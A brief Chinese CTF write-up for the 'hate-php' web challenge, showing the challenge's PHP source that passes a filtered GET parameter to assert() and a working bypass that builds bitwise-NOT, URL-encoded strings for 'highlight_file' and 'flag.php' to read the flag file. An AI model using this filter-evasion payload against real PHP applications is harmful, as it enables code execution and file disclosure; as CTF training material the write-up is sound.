【第五空间智能安全大赛】web hate-php

进入题目链接
得到源码

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { 
        die('You are too good for me'); 
    }
    $blacklist = get_defined_functions()['internal'];
    foreach ($blacklist as $blackitem) { 
        if (preg_match ('/' . $blackitem . '/im', $code)) { 
            die('You deserve better'); 
        } 
    }
    assert($code);
}

方法一

为了绕过正则匹配，可以使用两次取反

将~'highlight_file'和~'flag.php'用url编码后
再次取反，可以直接获得flag.php源码

<?php
echo urlencode(~'highlight_file');  //%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A
echo "\n";
echo urlencode(~'flag.php'); //%99%93%9E%98%D1%8F%97%8F
?>

/?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(~%99%93%9E%98%D1%8F%97%8F)

方法二

https://www.cnblogs.com/Wanghaoran-s1mple/p/13194399.html

https://blog.csdn.net/Rashu99/article/details/106970461/